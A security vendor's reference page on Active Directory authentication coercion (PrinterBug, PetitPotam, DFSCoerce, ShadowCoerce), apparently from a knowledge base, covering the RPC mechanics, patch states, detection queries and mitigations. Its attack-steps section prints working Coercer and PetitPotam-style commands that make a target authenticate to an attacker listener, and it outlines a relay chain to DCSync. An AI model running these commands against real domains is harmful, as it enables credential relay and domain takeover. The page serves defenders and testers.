1. Resources
  2. Identity Threats
  3. Active Directory

Authentication Coercion (PrinterBug, PetitPotam, DFSCoerce, ShadowCoerce)

Also known as: Coerced authentication, PrinterBug, SpoolSample, PetitPotam, DFSCoerce, ShadowCoerce

Any domain user can call RPC interfaces on a Windows server that make it authenticate, as its computer account, to a host the attacker chooses.

Platform
Active Directory
Impact
Medium
Last updated
MITRE ATT&CK technique
T1187Forced Authentication
Attack difficulty
Medium
Detection difficulty
Medium
Privileges required: Any authenticated identity
Any authenticated domain account and SMB access (TCP 445) to the target. Unpatched hosts accepted some MS-EFSR calls without any account.
What the attacker gains
An inbound NTLM or Kerberos authentication from the target's computer account, ready to be relayed or captured. Against a domain controller this leads to domain compromise when a relay target exists.
Threat groups
DarkHydrusDragonflyGroups that MITRE ATT&CK records using T1187.

How it works

Several Windows RPC interfaces accept a call that contains a path or a host name and react by connecting to it. The service that handles the call runs as SYSTEM, and a SYSTEM service uses the computer account (SRV01$) when it accesses the network. So an attacker who can make the call can make the server authenticate, as its computer account, to any host. This is forced authentication, ATT&CK T1187, in its server-side form.

There are always two separate connections:

  1. The trigger. The attacker connects to the target over SMB, opens the interface's named pipe on IPC$, and makes the call with a UNC path that points to the attacker's listener.
  2. The callback. The target's service resolves the name and connects to the listener, over SMB, or over HTTP when the path is in WebDAV form and the WebClient service is running. It authenticates with NTLM or Kerberos, depending on how the listener was named.

The four interfaces that public tools use:

Name Protocol and call Named pipe Prerequisite on the target Patch or control
PrinterBug (SpoolSample) MS-RPRN RpcRemoteFindFirstPrinterChangeNotificationEx (opnum 65) \pipe\spoolss Print Spooler running; an authenticated caller No patch: the notification call works as designed. Disable the spooler where printing is not needed, or filter the interface
PetitPotam MS-EFSR EfsRpcOpenFileRaw (opnum 0) and other EfsRpc* calls \pipe\efsrpc or \pipe\lsarpc Originally no account was needed over lsarpc; other methods need an authenticated caller CVE-2021-36942 (August 2021) blocks OpenEncryptedFileRaw through LSARPC; CVE-2022-26925 (May 2022) rejects anonymous LSARPC connections. The interface remains for authenticated callers
DFSCoerce MS-DFSNM NetrDfsRemoveStdRoot and NetrDfsAddStdRoot \pipe\netdfs DFS Namespaces service running, as it is on domain controllers; an authenticated caller No patch. Filter the interface; do not disable the service on domain controllers, where it serves SYSVOL and NETLOGON referrals
ShadowCoerce MS-FSRVP IsPathSupported (opnum 8) and IsPathShadowCopied \pipe\FssagentRpc File Server VSS Agent Service installed; an authenticated caller CVE-2022-30154 (June 2022). Apply the update and remove the agent where unused

The interfaces share a pattern but not a patch state. MS-RPRN and MS-DFSNM are protocol design, so a fully patched host can still be coerced through them. The MS-EFSR updates removed the unauthenticated paths, and PetitPotam responds to a patched EfsRpcOpenFileRaw by trying EfsRpcEncryptFileSrv with credentials. Whether an interface needs authentication depends on the build and its effective policy, not on the protocol name.

Coercion by itself yields no credential. It is the trigger for another attack:

  • NTLM relay. The listener forwards the authentication to a service that does not enforce signing or channel binding: AD CS web enrollment (ESC8), LDAP (NTLM relay to LDAP) or SMB on another host (SMB relay).
  • Unconstrained delegation. If the attacker controls a host trusted for unconstrained delegation and coerces the target to it by name, the target authenticates with Kerberos and its TGT is delivered to that host.
  • Offline cracking of the captured NTLM response is pointless for computer accounts, whose passwords are random.

HTTP callbacks through WebClient are more useful to an attacker than SMB callbacks, because NTLM over HTTP can be relayed to LDAP where NTLM over SMB usually cannot. That variant, and triggers that rely on a user opening a file, are covered in forced authentication via files and WebDAV.

Prerequisites

  • A domain account of any privilege level. A foothold on any workstation is enough.
  • SMB access to the target on TCP 445, and the relevant service running on it (see the table).
  • A listener the target can reach: the attacker's host on TCP 445, or on TCP 80 for the WebDAV form. Outbound traffic from the target to that host must be allowed.
  • For the attack to pay off: a relay target without signing, channel binding or Extended Protection, or a host with unconstrained delegation.
  • For Kerberos or WebDAV callbacks, the listener must be addressed by a name the target resolves, not by an IP address.

Attack steps

For authorized security testing and lab use only. Run these steps against systems you own or have written permission to assess.

1. Start a listener

For testing whether a host can be coerced, Responder is enough: it answers the callback and logs the NTLM exchange. For a real attack the listener is a relay tool, described on the relay pages linked above.

sudo python3 Responder.py -I eth0 -v

2. Find which interfaces answer

Coercer's scan mode lists the reachable pipes and tests each known call against a listener it starts by itself:

coercer scan -t 192.0.2.10 -u alice -p '<password>' -d corp.example.com -v

3. Trigger the authentication

Coercer tries every method it knows, or only one protocol:

# All methods, callback to the attacker's listener
coercer coerce -t 192.0.2.10 -l 192.0.2.50 -u alice -p '<password>' -d corp.example.com

# Only MS-EFSR methods
coercer coerce -t 192.0.2.10 -l 192.0.2.50 -u alice -p '<password>' -d corp.example.com --filter-protocol-name MS-EFSR

The single-purpose tools take the listener first and the target second, except printerbug.py:

# PetitPotam (MS-EFSR). The default pipe is lsarpc; -pipe all tries efsr, lsarpc, samr, netlogon and lsass
python3 PetitPotam.py -d corp.example.com -u alice -p '<password>' 192.0.2.50 dc01.corp.example.com
python3 PetitPotam.py -d corp.example.com -u alice -p '<password>' -pipe all 192.0.2.50 dc01.corp.example.com

# PetitPotam without credentials: works only on hosts missing the 2021 and 2022 updates
python3 PetitPotam.py 192.0.2.50 dc01.corp.example.com

# PrinterBug (MS-RPRN): target first, then the host to call back to
python3 printerbug.py corp.example.com/alice:'<password>'@dc01.corp.example.com 192.0.2.50

# DFSCoerce (MS-DFSNM)
python3 dfscoerce.py -d corp.example.com -u alice -p '<password>' 192.0.2.50 dc01.corp.example.com

# ShadowCoerce (MS-FSRVP). The agent may need a second attempt if it has not been used recently
python3 shadowcoerce.py -d corp.example.com -u alice -p '<password>' 192.0.2.50 srv01.corp.example.com

All of them accept -hashes in place of a password. printerbug.py, PetitPotam and DFSCoerce also accept -k for Kerberos.

4. Ask for an HTTP callback instead

If the WebClient service is running on the target, giving the listener in WebDAV form, a host name followed by @ and a port, makes the target connect over HTTP:

python3 PetitPotam.py -d corp.example.com -u alice -p '<password>' 'ATTACKER01@80/files' srv01.corp.example.com

The name must resolve for the target and be treated as an intranet host. Attackers register a DNS record for their machine in the domain's zone, which any authenticated user can normally do, to make that true.

5. Use the authentication

The listener relays the computer account's authentication or receives its ticket. The typical chain against a domain controller is: coerce DC01$, relay to the AD CS web enrollment endpoint, request a certificate for DC01$, authenticate with it and run DCSync.

Impact

The direct result is an authentication from the target's computer account to the attacker. What that is worth depends on the target and on what else is misconfigured:

  • A domain controller account, relayed to AD CS or captured through unconstrained delegation, gives the attacker replication rights and with them every password hash in the domain.
  • A member server account, relayed to LDAP, lets the attacker configure resource-based constrained delegation or shadow credentials on that server's own computer object and then take it over as an administrator.
  • Across a forest trust, coercing a domain controller of the other forest to a host with unconstrained delegation in the attacker's forest crosses the trust.

Because any domain user can pull the trigger, coercion turns every unprotected relay target in the environment into a path from "any user" to a privileged machine identity.

OPSEC and artifacts

  • Choosing the interface. Operators pick the call least likely to be watched or filtered. Each one still requires opening a specific pipe on the target's IPC$ share, and event 5145 records that access check with the pipe name as the relative target (spoolss, efsrpc, lsarpc, netdfs, FssagentRpc), the calling account and the source address, where Detailed File Share auditing is enabled.
  • Using lsarpc instead of efsrpc. The lsarpc pipe is busy on every domain controller, so opening it does not stand out. The pipe name identifies only the transport; telling EFSRPC apart from normal LSA traffic on it needs RPC-level telemetry or a network sensor that decodes the interface.
  • One call, one target. A single PetitPotam call is two small SMB exchanges. Coercer's default of trying every method produces dozens of failed calls and pipe opens in seconds, which is easy to spot.
  • The trigger logon. The attacker's own network logon to the target is recorded as event 4624 type 3 with the attacker's address and account.
  • The callback. The target opens an outbound connection to TCP 445 or 80 on the attacker's host. Windows Filtering Platform auditing records it as event 5156 (allowed) or 5157 (blocked) on the target. For SMB the owning application is the System process, and for WebDAV it is the WebClient service host, so the record does not name the coerced service.
  • NTLM auditing. With the Restrict NTLM audit policies enabled, the target logs its outgoing NTLM authentication as event 8001 in the NTLM operational log, with the destination name. A domain controller that validates the relayed authentication logs event 8004.
  • Kerberos callbacks. If the listener is named so that Kerberos is used, a domain controller records the service ticket request in event 4769 for the listener's SPN, requested by the target's computer account.
  • At the receiver. Where the relay lands, the host records a type 3 logon by the coerced computer account from an address that is not that computer. A logon as DC01$ from a workstation's address is not something normal operation produces.
  • Failed attempts count too. A call that returns an access-denied or a bad-path error may still have caused the outbound connection, and a blocked outbound connection shows that the trigger worked.

Detection

  • Coercion pipes opened remotely. The authentication coercion rules alert on event 5145 on domain controllers where the share is IPC$ and the relative target is one of the coercion pipes. Legitimate use exists (print servers talking to spoolss, backup software to FssagentRpc, DFS administration to netdfs), so baseline the callers per pipe.
  • Outbound authentication from servers that should not initiate it. Domain controllers and tier 0 servers rarely open SMB or HTTP connections to workstations. Alert on events 5156 and 5157 on those hosts for outbound TCP 445 and 80 to addresses outside the server ranges, or use network flow data.
  • Computer account logons from the wrong address. Event 4624 type 3 where the target account is a domain controller's computer account and the source address is not one of that controller's addresses. The NTLM relay rules cover this at the receiving side.
  • Certificate requests. A certificate issued to a domain controller account through web enrollment, or a TGT request for a domain controller account with certificate pre-authentication from a workstation, is the follow-on of a successful relay.
// Remote opens of coercion-related pipes on domain controllers
SecurityEvent
| where EventID == 5145
| where ShareName endswith "IPC$"
| where RelativeTargetName in~ ("spoolss", "efsrpc", "lsarpc", "netdfs", "FssagentRpc")
| where SubjectUserName !endswith "$"
| summarize Opens = count(), Pipes = make_set(RelativeTargetName) by Computer, SubjectUserName, IpAddress, bin(TimeGenerated, 5m)
| order by TimeGenerated desc
// Outbound connection decisions on a domain controller
SecurityEvent
| where EventID in (5156, 5157) and Computer startswith "DC01"
| project TimeGenerated, Computer, EventID, EventData
| order by TimeGenerated asc

Read the direction and the remote address in the 5156 and 5157 records before calling a row outbound. A successful pipe open does not prove which RPC call followed, and a non-SMB RPC transport leaves no 5145 record at all.

Mitigation

Remove the trigger where possible, and make the callback worthless everywhere.

  • Protect the relay targets. This is what turns coercion into a non-event. Require SMB signing (SMB signing guide), enforce LDAP signing and channel binding (LDAP signing and channel binding guide), and enable Extended Protection for Authentication on AD CS web enrollment and other IIS endpoints, as Microsoft's KB5005413 describes. TLS alone does not enforce channel binding.
  • Disable the Print Spooler on domain controllers and on every server that does not print. This removes PrinterBug outright.
  • Remove unused roles. Uninstall the File Server VSS Agent Service where no backup product uses it. Keep DFS Namespaces on domain controllers, but restrict its RPC interface.
  • Filter the RPC interfaces. Windows RPC filters can block a named interface at the host without disabling the service. Take the interface UUID from the Microsoft Open Specification for each protocol, and test the rule on the target build, because the available filter conditions differ between Windows versions. A firewall port rule cannot do this: all of these pipes ride on TCP 445.
  • Patch. Apply the updates for CVE-2021-36942, CVE-2022-26925 and CVE-2022-30154, which close the unauthenticated EFSRPC path and the shadow copy agent issue.
  • Block the callback. Domain controllers and other tier 0 servers should not be able to open SMB or HTTP connections to workstation networks or the internet. An outbound allow list on the host firewall stops the authentication from leaving. Cover IPv6 as well as IPv4.
  • Restrict outgoing NTLM from domain controllers with the "Network security: Restrict NTLM: Outgoing NTLM traffic to remote servers" policy, after auditing which services still need it. The NTLMv1 guide describes the audit-first approach to NTLM policies.
  • Disable the WebClient service on servers, and remove unconstrained delegation from every host that is not a domain controller.
  • Audit. Enable Audit Detailed File Share and Audit Filtering Platform Connection on domain controllers so that the pipe opens and the outbound connections are recorded. Both are high volume; scope collection to tier 0.

Detection rules for this attack

Log events to collect

FAQ

What is authentication coercion?

It is the use of a legitimate RPC call to make a remote Windows computer connect and authenticate to a host of the attacker's choosing. The call names a path or a machine, and the service behind the interface opens it using the computer's own account. The attacker does not get a password, but gets a live authentication that can be relayed to another service or, with Kerberos delegation, captured.

Does patching stop PetitPotam and PrinterBug?

Only partly. Microsoft's updates for CVE-2021-36942 and CVE-2022-26925 block the unauthenticated EFSRPC path over LSARPC. PrinterBug and DFSCoerce use calls that work as designed and have no patch. A fully patched server can still be coerced by an authenticated user unless the service is disabled or the RPC interface is filtered.

Why is coercing a domain controller so dangerous?

A domain controller's computer account can replicate directory secrets. If its coerced authentication is relayed to AD CS web enrollment, the attacker obtains a certificate for the domain controller and can authenticate as it. If it is sent to a host with unconstrained delegation that the attacker controls, the attacker captures the domain controller's TGT.

How is coercion detected?

With Detailed File Share auditing, event 5145 on the target shows a remote account opening the spoolss, efsrpc, lsarpc, netdfs or FssagentRpc pipe on IPC$. Outbound SMB or HTTP from a domain controller to a workstation, and a domain controller's computer account logging on to a host that is not a domain controller, are the follow-on signals.

References

Techniques, tactics and threat groups: MITRE ATT&CK® Enterprise v20.1. © The MITRE Corporation. This work is reproduced and distributed with the permission of The MITRE Corporation. Last updated 2026-11-29.

Does this attack work in your environment?

Forestall maps every identity and the attack paths between them across Active Directory, Entra ID and cloud, read-only and agentless.